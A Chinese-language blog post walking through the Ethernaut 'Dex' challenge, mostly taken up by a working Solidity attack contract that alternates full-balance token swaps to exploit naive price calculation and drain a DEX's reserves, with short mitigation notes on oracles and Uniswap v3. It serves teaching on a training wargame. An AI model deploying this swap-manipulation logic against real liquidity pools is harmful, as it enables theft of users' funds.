# 智能合约黑客攻击 Ethernaut:  
 22. Dex

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-28

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

…

Hack思路
------

…

![](https://storage.googleapis.com/papyrus_images/f3037dc2dd4c660bab06ddbd6465408451a9b7be28b06756897c6c956e5e0301.png)

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    
    interface IDex {
        function swap(address from, address to, uint256 amount) external;
        function add_liquidity(address token_address, uint256 amount) external;
        function get_swap_price(address from, address to, uint256 amount) external view returns (uint256);
        function approve(address spender, uint256 amount) external;
        function balanceOf(address token, address account) external view returns (uint256);
    }
    
    contract DexHack {
        IDex public dex;
        IERC20 public token1;
        IERC20 public token2;
    
        constructor(address _dex, address _token1, address _token2) {
            dex = IDex(_dex);
            token1 = IERC20(_token1);
            token2 = IERC20(_token2);
        }
        function attack() external {
            dex.approve(address(dex), type(uint256).max);
            for (
                uint256 i = 1;
                token1.balanceOf(address(this)) <= token1.balanceOf(address(dex))
                    && token2.balanceOf(address(this)) <= token2.balanceOf(address(dex));
                i++
            ) {
                if (i % 2 == uint256(0)) {
                    dex.swap(address(token1), address(token2), token1.balanceOf(address(this)));
                } else {
                    dex.swap(address(token2), address(token1), token2.balanceOf(address(this)));
                }
            }
            // 玩家 的余额比 Dex 某个token的余额大，可以把Dex剩余的token都换出来
            if (token1.balanceOf(address(this)) >= token1.balanceOf(address(dex))) {
                dex.swap(address(token1), address(token2), token1.balanceOf(address(dex)));
            } else {
                dex.swap(address(token2), address(token1), token2.balanceOf(address(dex)));
            }
        }
    }
    

Hack案例
------

…

防范思路
----

现在有非常多的机制可以去缓解这个问题，比如：

*   Uniswap v3 设置区间的流动性
    
*   其他各种算法稳定币
    
*   找一个可靠的中心化平台获取数据，chain link 就提供一些中小化的数据。
    

参考资料
----

*   [What Is a Blockchain Oracle?](https://betterprogramming.pub/what-is-a-blockchain-oracle-f5ccab8dbd72)
    
*   [Price Feed Contract Addresses](https://docs.chain.link/data-feeds/price-feeds/addresses?network=ethereum&page=1)
    
*   [Ethernaut 22. Dex Excell](https://docs.google.com/spreadsheets/d/1cxLZXraLx8BHjsRySoe8OVyItFxe8vZptOfxuL5n92o/edit?pli=1#gid=0)

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-22-dex)*
